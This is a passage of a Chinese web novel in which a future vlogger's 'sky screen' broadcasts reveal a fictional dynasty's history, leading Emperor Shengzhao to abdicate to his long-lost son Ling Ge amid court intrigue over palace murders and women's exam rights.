可自打卫王被废除王位以后,鲁嘉公主便和鲁王一样,觉得鲁王已经是板上钉钉的下一任皇帝了。 这也正是她为什么敢在她母亲的寿宴上,公然要求唐桂贤退婚,成为自己的驸马。 她认为自己是未来皇帝的亲妹妹,所以性格比从前更狂妄霸道、目中无人。 而她这个打五十大板的要求一提出,在场的命妇们,便纷纷都忍不住皱起了眉头。 孟雪姝的祖母简书雯今天也来参加了宴会,她更是当场就朝鲁嘉公主发怒道: “鲁嘉公主,老身实在是不明白,我孙女雪姝到底和你结下了什么仇怨,以至于让您一逼再逼,现在竟是到了要置她于死地的地步!” 她说罢,望向皇后,直接说道:“皇后娘娘,若是真要打这五十大板的话,不如就打在老身的身上吧!老身活到这岁数,左右也活够了,是该下去见见我那可怜的儿子和儿媳了!” 见祖母因为自己而说出这种丧气话来,孟雪姝心中霎时间充满了愧疚: “祖母,是孙女不孝,还连累您老人家得替孙女担忧!” 见事情发展到眼下这个局面,皇后急忙朝简书雯和孟雪姝她们祖孙俩开口安抚道: “老夫人、孟姑娘,你们尽管放心,这里还轮不到鲁嘉她来放肆!莫说是五十大板,就是五大板,本宫都不可能答应她这个荒唐的要求!” 鲁嘉公主听到皇后这话,顿时就不满了,直接嚷嚷道:“那我的委屈难道就白受了吗?” “放肆!”皇后转头朝鲁嘉公主厉声呵斥道,“本宫让你开口说话了吗?我看真该从宫里派两个教养嬷嬷到你们府上,给你好好重新教导下什么是礼义廉耻!” 光是鲁嘉公主前几天逼唐桂贤退婚的事情,就已经让皇后心里憋了一股火。 再加上鲁王刚才在宴会上,各种觥筹交错,迎来送往,好似一副自己才是今晚宴会主角的模样,这就让皇后现在对鲁王一家更是不耐,觉得看到这三个蠢货就觉得闹心。 皇后如此严厉的叱骂,让鲁嘉公主和她娘老王妃都感到一阵错愕。 老王妃不愿让女儿因为皇后的评价而招致非议。 她急忙开口朝皇后道:“娘娘,鲁嘉她也是一时心急,这……” “你也给我闭嘴!”皇后直接打断了老王妃的话,“鲁嘉会变成今日这模样,跟你这个母亲管教子女不严也有很大的关系!” 老王妃这几天被人吹嘘得飘飘然,一心以为自己未来会成为太后。 现在骤然被皇后这么一训斥,她顷刻间感觉脸颊一阵火辣辣。 她低垂下头,暗暗咬牙,觉得皇后这是因为自己多年无所出,又嫉妒她儿子是未来的皇帝,所以这才故意给她和女儿难堪。 而鲁嘉公主此刻的想法,竟也和她母亲差不多。 母女俩都在心中暗下决心,想着等鲁王未来登基后,一定要给皇后一个好看,以报皇后的今日之仇! “你们快看,天幕又出现了!” 一个命妇的惊呼声,这时突然吸引了众人的注意力,大家纷纷下意识抬头朝天上看去。 夜色中,泛着荧光的天幕越发惹人注目。 一时间,大家的心思都迅速转移到了天幕上。 原本在宫殿里参加宴会的盛昭帝等人,也都纷纷从屋里走了出来。 而在天幕出现后没过一会,许三九的身影很快也出现在了天幕的画面中。 她笑容灿烂,挥手打招呼道: 【大家好,我三九又回来啦!这一期的内容,如果让我用一句话来总结,那就是“将军含冤死,虎父无犬子”!】 许三九这句话一出,许多人瞬间都将目光落在了霍英和凌戈身上。 原因无他,这句诗的内容,实在是让人一听就感觉和霍英、凌戈这对父子有关系。 凌戈也忍不住转头望了身边的霍英一眼。 见霍英神情淡然,好似事不关己的模样,凌戈也只好收回视线,转而继续看向天幕。 【不过,在介绍今天的主人公之前,三九我得先给大家介绍下鲁王这个人物才行。毕竟,如果不是因为鲁王的残暴不堪,那就也不会有下面那些悲剧的事情发生】 【史书记载,泰安二十六年冬,盛昭帝因感染风寒而卧床不起,他的侄子鲁王趁机收买了当时的禁军统帅赖振庆。俩人突然发动兵变,率兵闯进宫中,诛杀了病榻上的盛昭帝!】 【随后,鲁王自立称帝,自此开启了他的暴政之路!】 许三九话音落下的那一瞬间,宫内万籁俱寂,安静得好似时间被突然按下了暂停键。 50-60 第51章 直播5:兴,百姓苦,亡…… 百官应诺时,霍英就站在凌戈身边,他应得声音很是激昂洪亮。 对于义子凌戈继承大统这件事,他很是乐见其成,而且也相信义子绝对能当好这个皇帝。 所以,等到应完声以后,他还悄悄朝凌戈挤了挤眼。 凌戈被他逗得眼中露出了无奈笑意,但心中,对于盛昭帝的这番表态,实际并没有太多的高兴和激动。 相反,他心里其实是有些沉甸甸。 权力与责任,这二者就像是一枚硬币,一体两面,不可分割。 在天幕出现之前,他从没有想过他会成为一个封建王朝的皇帝,更没有想过他会拥有一个封建帝王的爹。 凌戈在看着天幕上许三九说的那些成就时,心中曾经不止一次想过,他真的能够做到像天幕上的那个“他”那般成就吗? 这个世界,到底是时势造英雄,还是英雄造时势? 凌戈内心很清楚地知道,自己并不是万能的神明。 他依然是个有血有肉的人类,即使有系统帮忙,但人力也终有穷尽时。 凌戈害怕自己会辜负了天下苍生,辜负了黎民百姓落在自己身上的那份期待。 小蓝球系统感受到凌戈此刻内心的那些想法,他忍不住出声劝慰凌戈: “哎呀,你想那么多做什么呢?反正走一步算一步嘛!而且,这个皇帝又不是你自己争着抢着要做的,你现在愿意好好做,那就已经足够好了。” 小蓝球系统不喜欢看到向来胸有成竹的凌戈,突然变成这般心有戚戚焉的模样。 “凌戈你就是责任感太强了,老喜欢对自己提各种苛刻的要求。我一个强国系统,都没给你发那么多的任务,结果你倒是在心里给自己揽了一堆的事情!” “这么多的古代皇帝里,有几个能像你做到这般自省啊?一个个不都是当上皇帝以后,就都觉得自己真是至高无上的天子了,理应雷霆雨露皆君恩!而且,别说是皇帝了,就连那些小官小吏,他们就算干了劳民伤财的事情,心里也照样认为苦一苦百姓是应当的!” 凌戈闻言,忍不住在心中叹了一口气。 古今中外,无论什么朝代,兴,百姓苦,亡,百姓苦。* 他就是因为知道系统说的都是事实,才会越发意识到自己未来要挑在肩上的的担子有多重。 而此时的满朝文武,在听到盛昭帝要求他们日后悉心辅佐盛武帝的要求后,心中便都明白,盛昭帝这是已经正式认下了他和盛武帝的父子关系。 否则的话,盛昭帝他绝对不会主动提及皇位传承这么敏感的话题,甚至还帮着盛武帝来敲打朝臣。 众人虽然心中思绪纷繁,但目光却还是望向了天幕。 此刻,他们心中越发迫切想知道盛武帝究竟是何许人也,都希望自己能从许三九口中得到更多的线索。 …… 【今天既然说到了盛武帝的身世,三九我就顺便将前面视频里的一个争议拿出来回应下】 【之前,三九我做第一期视频时,介绍说盛武帝是大盛朝的第六任皇帝,是盛昭帝的继任者,当时底下评论区因为这事起了些争议,说盛武帝应该是大盛朝的第七任皇帝才是,因为在盛昭帝和盛武帝的中间,还夹杂着鲁王这么一个靠宫变方式登基的暴君】 【但若是要算鲁王的话,那当时割据在南边的卫王是不是也该算上了?】 【而且,可不止是我一个人不认鲁王!】 【在鲁王统治的那几年时间里,他这鳖孙各种横征暴敛,搞得天怒民怨,四处都怨声载道,民变蜂起】 【所以在盛武帝认祖归宗以后,宗人府的那老宗正还和其他宗室,直接给盛武帝联名上了道奏折,表示说要将鲁王这个大奸大恶之人的玉牒除名,相当于就是踢出族谱的意思了】 【宝子们,你们说说,他鲁王连皇室子弟的身份都算不上了,还凭什么算是大盛朝的正统皇帝呢?】 【况且,论血缘关系亲疏的话,咱们盛武帝可是盛昭帝他正儿八经的亲儿子!】 【鲁王他一个隔房的侄子,他算个屁的盛昭帝继任者啊?!】 天幕下,盛昭帝当即赞同地连连点头: “三九姑娘言谈虽颇为洒脱豪放,但其分析却是鞭辟入里、入木三分,甚合朕之心意!” 盛昭帝光是想到宫变害死自己的鲁王,竟然会被人称为自己的继任者,他心中就已经感到一阵作呕。 他现在还留着鲁王的小命,纯粹就是因为他还没把怒火发泄完全而已。 而天牢之中,听到宗室那边竟然连自己的玉牒都要除名,鲁王顿时气得对着天幕破口大骂道: “贱人!你们全都是一群贱人!你们不就是因为我杀了盛昭帝,所以才想要用这种方式去讨好盛武帝那个白……哎哟!” 鲁王话还没骂完,就直接被狱卒隔着栅栏用刀鞘给捅了一下肚子,疼得他瞬间捂住肚子倒在了地上。 狱卒见状,却是连个眼神都没多给,直接就又坐回了自己外面的木椅上。 鲁王这阵子大概是破罐子破摔,知道自己没几天活头了,所以时常骂骂咧咧。 狱卒一开始还拿不准应该如何处理这事,但等请示完上级后,他再听到鲁王嘴巴不干不净,就直接一刀鞘过去,瞬间让鲁王疼得张不开嘴再骂人了。 狱卒在木椅上坐定后,望向了牢房窗户外的天幕。 虽然他只是一个不被上官放在眼中的狱卒,但比起鲁王这么一个龌龊小人,他倒是更觉得天幕上被提及的那个“盛武帝”,更有明君之相。 …… 许三九随后又在天幕上吐槽了好一番鲁王,连带着只知道贪腐享乐的卫王,她也没留情面地骂了一番。 她在骂了个痛快之后,望向镜头说道: 【宝子们,不是三九我对盛武帝有迷妹滤镜,所以才看不起鲁王和卫王!】 【但照我看来,如果将大盛朝交给鲁王或者卫王这两个虫豸来继承的话,我估计大盛朝真是不出十年就亡国了!】 【哎呀,不对,倘若不是意外发现盛武帝其实是盛昭帝亲子的话,那大盛确实是在盛武帝打下京师的那一刻,其实就已经亡国了】 【哈哈哈哈哈,这么一分析,感觉那些怀疑盛武帝身世的人,更像是脑子不好的蠢货了!】 【啧啧,不得不说,这大盛朝也真是好命,在亡国之时,竟然还碰上了咱们的盛武帝!】 【好啦,三九今天这一期的视频就先讲到这里吧,咱们下一期再会!】 许三九朝镜头挥了挥手,随后身影消失在了天幕中。 而她刚才在天幕上放出的消息,却是在大盛朝掀起了如滔天巨浪般的影响。 之前那些时日,京师许多宗室的府邸门前总是宾客如云,但如今却是荒凉到门可罗雀。 各方势力直接将那些宗室弃若敝屣。 他们如今都忙着想要找到流落在民间的盛武帝,但即使是掘地三尺,也始终都无果。 而时间很快就来到了凌戈带兵返回西北的这一天。 当看到天幕又重新出现在空中时,凌戈心中骤然有了一股很强烈的预感。 所以,当听到许三九在天幕上说“相见不相识,初遇即永别。泰安二十五年,盛武帝凌戈跟随义父大元帅进宫,觐见生父盛昭帝。所有人都没有料到,这一次进京之后,这对父子迎来的,是生死相隔,再未相逢!”时,凌戈虽然感到惊诧,但心中却又有一种瓜熟蒂落、如期而至的感觉。 而城门口处,跟随在凌戈身后的一众将士们,此刻则是都惊到瞠目结舌,神情呆呆地望着凌戈那骑在马上的挺拔背影。 作者有话说: 【引用出自张养浩的《山坡羊?潼关怀古》】 第52章 直播5:这皇位就跟白捡…… 对于盛昭帝会赶过来阻止自己离开这件事,凌戈心中早就有所预料。 但他没想到的是,盛昭帝竟然会当着众人的面,直接将自己头上戴着的十二旒冕冠取下来,然后戴到了他的头上来。 庄重华美的十二旒冕冠,是皇权至高无上的象征。 盛昭帝此刻的这个行为,显然就是要当众禅位于他的意思。 在凌戈原本的预期中,即使盛昭帝得知了他的身份,他势必也得当上一段时间的太子。 现在这皇位实在是来得太容易,以至于让他觉得简单到就跟白捡似的。 盛昭帝当然也看出了凌戈此时内心的错愕。 他一脸欣慰,轻轻拍了拍凌戈的肩膀:“孩子,咱家这皇位,可算是终于等到你来继承了!” 刚才从皇宫奔赴到城门的这一路上,盛昭帝的心中其实闪过了许多念头。 但最终,他还是决定就此放权。 反正他迟早都得将这皇位交给凌戈继承,那还不如干脆现在就给出去,也好让凌戈给他记个好。 当然,若是没有他前阵子的那次突然昏厥,他或许还做不到像现在这么洒脱。 但上次他从昏迷中苏醒过来后,太医院的老院正倪厚朴曾经跟他提过建议,说他的身体不宜操劳、多思,否则容易寿元有碍。 盛昭帝想着,比起权力,他到底还是更爱惜生命。 他宁愿撒手放权,当个悠闲自在的太上皇,这样指不定还能活得长寿些。 想到自己当皇帝的这二十五年经历,盛昭帝颇有感慨地望向凌戈,语重心长地提醒道: “登基容易,但想当好一个贤明之君,可不是轻松的事情。” 盛昭帝觉得自己过去这些年来,光是当一个守成之君,都时常感到心有余而力不足。 凌戈未来要面对的压力,可是注定要比他沉重许多。 孟谦等文武百官,此刻也从宫中追到了城门处。 盛昭帝注意到他们的到来后,索性当众宣告禅位于凌戈。 早在刚才注意到凌戈头上戴着的十二旒冕冠时,一众大臣便都吓得差点跌破下巴。 现在听到盛昭帝竟然真的将皇位传给了凌戈,不少大臣更是惊到直接当场呆若木鸡。 就连见多了大风大浪的孟谦,此刻也都对盛昭帝的魄力感到很是难以置信。 盛昭帝刚才是带着内廷禁卫,从宫中骑马赶过来。 所以他出行御用的车马銮驾,直到此时才赶到了城门处。 按理说,盛昭帝御用的銮驾,是只有盛昭帝才有资格登上去乘坐。 但这次回宫,盛昭帝在坐上銮驾后,却还将凌戈也邀了上去。 孟谦这些身着朝服的文武百官大臣,则都是默默追随在御驾之后。 没有人知道盛昭帝和凌戈这对天家父子坐在銮驾里,都商谈了些什么内容。 百官只看得到,当銮驾抵达到宫殿门口之前,盛昭帝是带着满脸的笑容从銮驾上走下来。 而凌戈虽然脸上笑容淡淡,但从其神情,也能看得出他放松的心情。 因为天幕上的许三九还尚未结束视频,盛昭帝和凌戈他们索性便待在宫殿外,继续观看起天幕上的内容来。 许三九这一期的视频主题,依然是和凌戈的身世相关。 她此刻正提及到凌戈的母亲,所以凌戈和盛昭帝的眼神都瞬间变得认真了起来。 【上一期的视频评论区里,三九我注意到,围绕盛武帝陛下他的母亲凌宝云,评论区里起了些小争执】 【有网友觉得凌宝云实在是目光短浅,她在怀了盛武帝以后,竟然不是想着把盛武帝生在皇家,而是选择了让盛武帝流落民间】 【持这种看法的网友,大多都是觉得凌宝云拖累了盛武帝,认为凌宝云若是将盛武帝生在宫中,那盛武帝之后也就不用花费那么多年时间打天下】 【我个人觉得,这种看法,着实是有些过于上帝视角了】 【我们今天是回望历史,所以才会知道盛昭帝他生前一直都是个公认的绝嗣皇帝,盛武帝是他一生中的唯一血脉】 【但凌宝云怀上盛武帝那会,盛昭帝虽然膝下也无子,但他那时到底还年轻,我记得是连三十岁都不到】 【而当时的后宫争斗其实异常凶险,各方人马都迫切希望自己能怀上盛昭帝的第一胎】 【有个小妃子因为自己两个月没来经期,再加上夏天暑热,时常食不下咽,有一种想要反胃的感觉,便误以为自己是怀上了龙胎】 【因为怀孕的头三个月,孩子是最不稳定的时候,她担心其他人会在这期间对自己下手,所以便想偷偷瞒住怀孕这事,打算等孩子月份再大些,再将消息对外公布】 【结果,她的心思却被其他人给暗中发现了,于是,没过半个月,她便成了荷花池里一处肿胀的尸体】 【因为凶手将这事情做得天衣无缝,而且太医尸检时,也并没有发现这小妃子怀有什么身孕,所以当时人人都以为这小妃子就是因为一时脚滑,摔进了荷花池中,才不幸溺亡】 【但凌宝云她当时就是那小妃子的贴身婢女,她和那小妃子感情很是要好,所以知道那小妃子误以为自己怀孕的事情】 【她知晓那小妃子生性怕水,又不会游泳】 【但这样一个向来不敢靠近水池边的人,却被人发现溺死在了荷花池中】 【这事怎么想,都知道那小妃子肯定是因为孩子的事情,而遭到了人暗害】 听到许三九这番叙说,盛昭帝努力回忆了一下,试图想从记忆中想起这小妃子的事情。 但很快,他便发现,自己确实是对这事毫无印象。 他望向自己的贴身太监魏平,询问道:“魏平,你记得这事吗?” 魏平作为宫中太监第一人,不得不说实在是职业素养超强。 面对盛昭帝的询问,他轻轻点了点头,说道: “回禀主子的话,确实是有这么一个事。当时皇后娘娘还让人彻查了一番,但确实是没发现奸人谋害荀常在的线索,所以最后便以意外为由结了案。” 凌戈站在旁边,听到盛昭帝和魏平的这番对话后,不禁对“后宫是个吃人的地方”这句话有了更深刻的体会。 那小妃子就因为这么一个误会,所以就死得无声无息。 即使如今知道她是被人所害,但时隔这么多年,想要查出当年的真凶,又谈何容易。 凌戈转头望向盛昭帝,说道:“父皇,既然今日三九姑娘在天幕上提起,不如就让宫中再重新勘查下此案吧?这样一来,也好让那位荀常在于九泉之下,能有个安慰。” 盛昭帝事实上对这个命案并不是那么在乎。 他脑海中此刻甚至都回想不起那荀常在的模样。 但听到凌戈头回向自己提出请求,他当即便点了点头,道:“过了这么多年,也确实是该给她一个交代。” 盛昭帝望向魏平,说道:“魏平,听到了吗?这事就交给你来办,尽快将凶手给缉拿归案。” 凌戈也不希望因为这事而给宫中造成冤假错案,于是,在听到盛昭帝朝魏平发下的命令后,他又朝盛昭帝说道: “虽然这个荀常在确实可怜,但到底是过了这么久的时间,若是查不出真凶,其实也是合理之中的事情。” 盛昭帝没听出凌戈话中的潜在意思,以为凌戈只是单纯感慨,但魏平这个人精儿却是立刻就领悟到了凌戈心中的担忧和顾虑。 他依然恭敬地低垂着头,但眼眸中却是不由飞速闪过了一抹动容。 已识乾坤大,犹怜草木青。* 这是魏平此刻心中对凌戈最深刻的感受。 作者有话说: 【引用出自马一浮的《旷怡亭口占》】 第53章 直播5:只见贼吃肉,不…… 江陵城,温家小院。 当听到许三九在天幕上提及那小妃子的命案后,温母忍不住叹息了一声,朝儿子温容感慨道: “后宫如此凶险,也难怪那位凌夫人要特意将孩子生在民间。对于一位真正在意孩子的母亲而言,再多的天家富贵,其实都比不上自己孩子的平安更重要。” 温容虽然没有孩子,但却是赞同地点了点头,因为他能够理解这种感情。 倘若有人让他在母亲的性命和公卿之位里二选一,他肯定也是毫不犹豫地选择母亲这边。 再显赫的公卿之位,也注定代替不了挚亲之人的存在。 而许三九随后在天幕上说出的内容,也恰好应合了温家母子的这番对话。 【宝子们,设身处地想一想,如果你们当时是盛昭帝的母亲凌宝云,你们在发现自己怀上了盛昭帝的血脉之后,难道心中就不会害怕自己也步上那小妃子的那条死路吗?】 【那小妃子尚且是自己一人,但凌宝云她如果被奸人害了,那可真就是一尸两命了!】 【天家富贵当然人人羡,但也得有命才能享到福呀!】 【所以,凌宝云她在西桀乱军闯入城内时,借着众人慌乱逃窜的时机,装作失足掉入河中,这其实是她为了保住自己和孩子性命而做下的无奈之举】 【她一个小小婢女,在宫中一没靠山、二没家世,就算怀了龙种又能如何?】 【她若是真跟着盛昭帝的队伍重新回到宫中,她腹中怀着的孩子指不定都撑不到出生,就已经被人害死在胎中了!】 【退一万步来讲,就算孩子真的顺利生了下来,谁又能保证他可以安然长大呢?】 【后宫里杀人不见血的手段多了去了,应该不会有人真的以为后宫很好混吧?】 听完许三九这番话,对盛昭帝当年跑到西北边关御驾亲征一事还有记忆的朝臣,一个个都默默低垂下眼,好似此刻脑子空空,根本没有回想起什么事情。 霍英则是一脸的坦荡荡,觉得这事细究起来,自己问心无愧。 毕竟,盛昭帝御驾亲征这事,是他自己本人提出的主意,当时其实连孟谦都强烈反对这事。 而盛昭帝心中,其实一直将当年御驾亲征这事当作自己年轻时的黑历史。 现在骤然听到许三九在天幕上提及,他眼神中不由就浮现出了几分尴尬。 因为他当年搞出这么一出事来,主要就是想压制霍英,所以才扶持另一个武将。 谁曾想,那武将是个中看不中用的绣花枕头,还害得他也丢了好大一个脸,不得不赶紧把霍英从京师重新调回到西北边关来救急。 魏平作为盛昭帝的贴身太监,当年自然也跟着盛昭帝去了西北边关。 所以,他在听完许三九的话后,脑中也霎时间回想起了,当年确实是有小太监跟他禀告,说有个宫女在西桀军攻进城中时,意外掉进河中,而且还生不见人,死不见尸。 魏平当时忙着平息盛昭帝的怒火,觉得这不过是件小事,便让人不用再管了。 事后,见盛昭帝直到回宫,也没主动找过这宫女,他自然就更是将这事给抛到了脑后。 现在想来,这落水的宫女,肯定就是盛武帝他母亲,那位凌宝云夫人了。 天幕上,许三九笑嘻嘻地道: 【三九我说话直,不喜欢藏着掖着】 【如果听到这里,还有人依然觉得凌宝云她没将盛武帝降生在宫中,是不识时务的话,那我只能衷心地祝愿这些野心家们,一个个都能穿越到古代后宫去,看看自己能不能平安活过一个月】 【毕竟,你行你就上,不行别叨叨!】 许三九的话,显然引起了弹幕中不少网友的共鸣: 【我估计这群对凌宝云指指点点的人,真要是放到古代后宫里,都得吓到跟鹌鹑似的缩头缩脑】 【我感觉很多人真的太小看凌宝云了,她可不是什么弱质女流!光冲她敢怀着龙胎就跳河这件事,就可以看出她这人的行事很果断决绝,而且能及时抓住时机,不会因为犹豫踌躇而错过机会。单是她这一点,就足以吊打这世间的绝大多数人了!】 【前面的朋友,你还漏说了一点,在那个男尊女卑的时代,凌宝云她可是靠着伪装寡母的身份,还独自将盛武帝抚养到了七岁,甚至还给盛武帝攒下了一小笔家产呢!虽然三九上期说盛武帝在街头当过几年乞儿,但我觉得他那个时候说是童工可能更合适些,因为他晚上还会带着他在街头收下的那帮小弟一起回家中休息,并不是真的无家可归,只能流落街头】 【说个不那么恰当的比喻,我感觉这群在网上吐槽凌宝云的人,就是只见贼吃肉,不见贼挨揍!】 【哈哈哈哈,三九可能不知道,有一段时间,还真的流行过穿越到凌宝云身上的同人文】 【笑死,我也看过,这些文的设定通常就是让女主穿越到凌宝云身上,然后“凌宝云”就在后宫中母凭子贵,各种大杀四方】 【救命,死去的记忆突然开始攻击我了!我以前也看过一本,当时把我给膈应得不行,因为那作者不知道是不是脑子受什么刺激了,本来开头写得还挺正常,但等盛武帝和孟皇后结婚以后,她突然就把“凌宝云”写得跟个极品婆婆似的,花了整整两百多章写“凌宝云”如何跟“孟皇后”进行婆媳斗争,然后“盛武帝”就跟个无能的中年男人一样,夹在中间,两边都不是人,甚至还出了轨】 【哈哈哈哈哈,这不就是我爷奶最爱看的家长里短婆媳剧吗】 天幕下,看到许三九和弹幕里网友对凌宝云的态度都颇为赞赏,盛昭帝想了想,望向凌戈问道: “要不,朕让人把你娘的坟迁进皇陵中,这样她往后也能享受到皇家的香火供奉。” 凌戈没料到盛昭帝竟然会突然提出这么一个建议来。 他从刚才与盛武帝的接触中,其实能感受到盛武帝对他娘的态度,是带着些不满和意见的,只是顾忌着他的存在,所以才没有表现得那么明显。 凌戈知道盛昭帝如今这个提议,应该是出于好意,但他还是摇了摇头,说道: “母亲已经入土为安多年,况且她如今下葬之处,乃是她生前特意挑选的长眠之地,若是贸然迁坟,恐惹得她老人家泉下不安。” 事实上,凌宝云当年因为走得急,所以后事都是凌戈一人独自操持完成。 她的下葬之地,自然也是凌戈帮着她选的,选了一处依山傍水的清静之处。 凌戈心中知晓,他母亲这一生,其实都不曾真的把盛昭帝当作丈夫看待过。 盛昭帝提出来的下葬皇陵,她肯定也是不稀罕的。 她如果真的向往皇宫那些荣华富贵,那她就不会在怀着他的时候,就毅然决然地跳河求生了。 而且,即使在她临死之前,她在将那块玉佩交给他时,也只是告诉他,让他遇到急事可以将玉佩给变卖来换钱。 盛昭帝本来以为自己的这个提议一出,凌戈应该会很高兴地答应下来才是。 所以,听到凌戈的拒绝以后,他还以为凌戈是真的因为凌宝云生前有所吩咐,所以才不得不拒绝下葬皇陵这件千载难逢的好事。 盛昭帝想了想,又朝凌戈道:“那等你登基之后,你就让底下人去给她的坟修缮一下吧,顺便也告诉她,让她不用担心,你如今已经是这大盛王朝的帝王了!” 凌戈一听,就知道盛昭帝这是还对他娘在民间生下他这件事而心存膈应。 他直接望向天幕,根本不接盛昭帝的话。 盛昭帝本来还在等着听凌戈的回应。 见自己只等来一片沉默,他瞬间惊得睁大眼睛看向凌戈,一脸的不可思议。 魏平见自己伺候多年的主子竟然在凌戈这边吃了瘪,他低垂着头,眼中却不由为这难得的一幕而浮现笑意。 凌戈这反应,要较真起来的话,可以扣上“不孝”这个大帽子,但从另一方面来说的话,其实也可以看做是凌戈确实是真的想将盛昭帝当作父亲,所以才在他面前如此“任性”。 盛昭帝显然是理解为了后面那一层的意思。 所以他在愣过神以后,脸上反而露出了明朗的笑意,甚至还转头朝身后不远处的霍英说道: “忠勇侯,你以前可没跟我说过,你这个义子他的脾气这么大呀!” 霍英闻言,也笑了:“启禀圣上,您如今就算想退回来,那也是迟了!” 盛昭帝闻言,哈哈大笑,说道:“好你个忠勇侯,竟然不懂得瑕不掩瑜这么简单的道理!这可是上苍赐给朕的麒麟子,朕只会珍之惜之,可舍不得让他再走了!” 霍英听到盛昭帝这番话,脸上也露出了笑意:“微臣年迈愚钝,还是圣上您圣明!” 对于盛昭帝对凌戈的重视,霍英如今心中只有一个想法,那就是多多益善。 这样的话,等到凌戈日后执政,他需要面临的朝堂阻力,也就会相应地轻上一些。 那些老臣就算想拿盛昭帝这个太上皇来掣肘凌戈,也需要考虑一下,其手段是否能在盛昭帝面前奏效。 第54章 直播6:青山遮不住,毕…… 盛昭帝显然是真的不恋权,因为在许三九这一次的天幕直播结束后,他很快便让凌戈办了正式的登基仪式。 而在登基仪式的前一天,他就已经主动搬出历任皇帝居住的主宫殿大盛宫,转而住进了位置相对偏远但却清静的安寿宫中。 不过,即使他已经表现出了向凌戈让出实权的态度,却还是有旧臣拿着朝堂政事,特意进到宫中拜见他。 这一天,向来宁静的安寿宫中,盛昭帝靠坐在榻上,怀中还抱着一只鸳鸯眼的雪白波斯猫。 他左手有一搭没一搭地抚摸着那华美柔顺的白猫,眼眸微阖,一副昏昏欲睡的模样。 而坐在他塌下另一侧的礼部尚书何安福,却是神情极其激动: “圣上,新皇纵然上承天命,天姿英发,然其年少即位,行事本应效仿圣上往昔之沉稳持重,可老臣观其近日行径,心中却是时时有欲速则不达之忧惧!科举之于大盛,如同根茎之于古树。如今新皇刚一上任,便骤然推行科举新法,允许女子参加科考,此举实在是令臣惶恐到夜不能寐,食不知味!” 盛昭帝听到何安福后面那句话后,这才微微提起兴趣,抬头瞥了一眼何安福的脸。 见他眼底一片青黑,确实所言不虚,盛昭帝叹了一口气,望向何安福说道: “何尚书,老夫如今不过是一闲散老人,成日里不是下棋,就是垂钓。你跟我说这些事情,又有何用处呢?” 何安福的用意,自然是想让盛昭帝出来劝阻凌戈,在朝堂上和凌戈唱对台戏。 所以,听到盛昭帝竟然自称“老夫”,而且话语中一副不想揽事上身的态度,他顿时越发急了。 他直接朝盛昭帝作了个大揖,语气恳切地说道: “圣上,科考制度关涉国本,若稍有蹉跎,恐引起朝野动荡不休,遗数世之患也!老臣并非对新皇心存怨怼,实是不忍我大盛民心不稳,社稷生乱!” “若是新皇执意革新,老臣近日亦忖度再三,新皇理应集思广益,召集百官详议数月,使其尽善尽美,再行改革亦不迟!老臣伏祈圣上垂怜,从中转圜,动之以情,晓之以理,劝上新皇一番!” 何安福这番话确实说得很是冠冕堂皇,但总结起来,其实就是一个“拖”诀。 他和他身后的那帮反对派,都希望以拖待变,以此来废除凌戈允许女子参与科举的这个政策。 而盛昭帝虽然如今已远离朝堂漩涡,但一听何安福这些话,还是立刻听出了他的弦外之意。 所以,何安福的言论虽然听起来确实很是耸人听闻,一会“数世之患”,一会“社稷生乱”,但盛昭帝心中其实毫无波澜。 他心中门儿清,知晓即使凌戈允许女子参与科举,也不过是给女子多了条希望渺茫的出路。 正如天幕之前所言,虽然陆诗薇第一次参加会试时,便出人意料地两元及第,但在往后那将近二十年里面,大盛也不过才十余女子通过了科考。 这样的人数,对于朝堂上的其余大臣们而言,实在是称不上威胁。 在盛昭帝眼中,男女的差别其实并没有那么大,他也并不在意什么“男尊女卑”,关键是人才能否为朝堂所用。 所以,他并不是很想掺和进凌戈和这帮反对派的争执之中。 他望向何安福,试图“祸水东引”地说道: “何尚书,不是老夫不愿意帮忙,实在是老夫已不沾朝务许久,所以也爱莫能助。你不如去找我那老亲家孟相,他一个三朝老臣,肯定能助你解忧消愁!” 盛昭帝将孟谦称为老亲家,是因为凌戈如今已经和孟雪姝订下了婚事。 钦天监在合算过凌戈和孟雪姝的八字后,将大婚的吉日定在了四个月后,也就是今年的五月十五。 而何安福听到盛昭帝提起孟谦这个宰相,脸上不仅没有任何喜意,反而还瞬间多了几分恼意: “圣上,孟相他老人家已经告病在家三日,说是如今起不了床,吹不了风,也见不了人!” 盛昭帝:“……” 盛昭帝在心中暗骂了一声孟谦老狐狸。 随即,他望向何安福道:“朕相信以孟相那硬朗的身子骨,用不着数日,他定能沉疴尽去,重拾昔日的鹤骨松姿!何尚书你别这么心急,不如再耐心等个几天,待孟相病愈之后,再向他登门拜访。” 何安福刚才还希望对凌戈使用“拖”字诀,结果一转眼,盛昭帝就活学活用,把这招用在了他身上。 他这个人精,自然也看出了盛昭帝的这番盘算,当场就气得大声呼喊了一声“圣上!” 盛昭帝见他急了,生怕他再缠着自己不放,直接就用起了孟谦那招装病的法子: “哎哟,朕好像也突然开始头疼了起来!” 盛昭帝说罢,还特意抬起手揉了揉自己的太阳穴,一副真的头晕眼花的模样。 魏平作为盛昭帝的贴身太监,此刻也忙配合道:“主子爷,您没事吧?需不需要奴才现在去太医院,帮您把倪院正给喊过来?” 盛昭帝做戏做全套,立刻点了点头:“魏平,你可快去快回,朕感觉这头风又开始发作起来了,我得闭眼歇一歇才行!” 魏平听到盛昭帝这话,自然是立刻转身,快步走出了安寿宫,朝太医院走去。 按理来说,何安福见到盛昭帝闭上眼睛,要么就该朝盛昭帝嘘寒问暖,要么就该自觉起身告别。 然而,他深知盛昭帝此刻就是在装病,而盛昭帝也一副没打算瞒过他的样子。 所以,他若是朝盛昭帝关心身体,反而是显得虚情假意。 但让他就这样离开安寿宫,他又实在是心里咽不下这口气。 在这样的情况下,何安福这个礼部尚书,最终竟然选择梗着脖子,坐在了原位。 从何安福的这番行为,其实可以看得出,盛昭帝从前作为帝王时,其性格确实还算仁善。 何安福显然是知道盛昭帝不会拿他怎么样,所以才会赌气坐在那里不走了。 而盛昭帝见何安福竟然还真赖着不走了,他也索性身体往旁边茶几一靠,真的闭目养神了起来。 稍后,凌戈带着魏平和倪厚朴这个太医院院正走进安寿宫时,看到的就是这么一副奇怪画面。 何安福坐在凳子上,脊背挺直,但却面色铁青,显然心情很是憋火。 而坐在榻上的盛昭帝,他虽然双眸紧闭,但神情却很是惬意,手中却还不忘撸着怀里的纯白波斯猫。 听到进来的杂碎脚步声,他这才张开双眼,和何安福一起朝宫门口望了过来。 当看到凌戈的身影也在,俩人顿时都急忙站起了身来。 何安福朝凌戈拱手弯腰,作了个毕恭毕敬的揖礼。 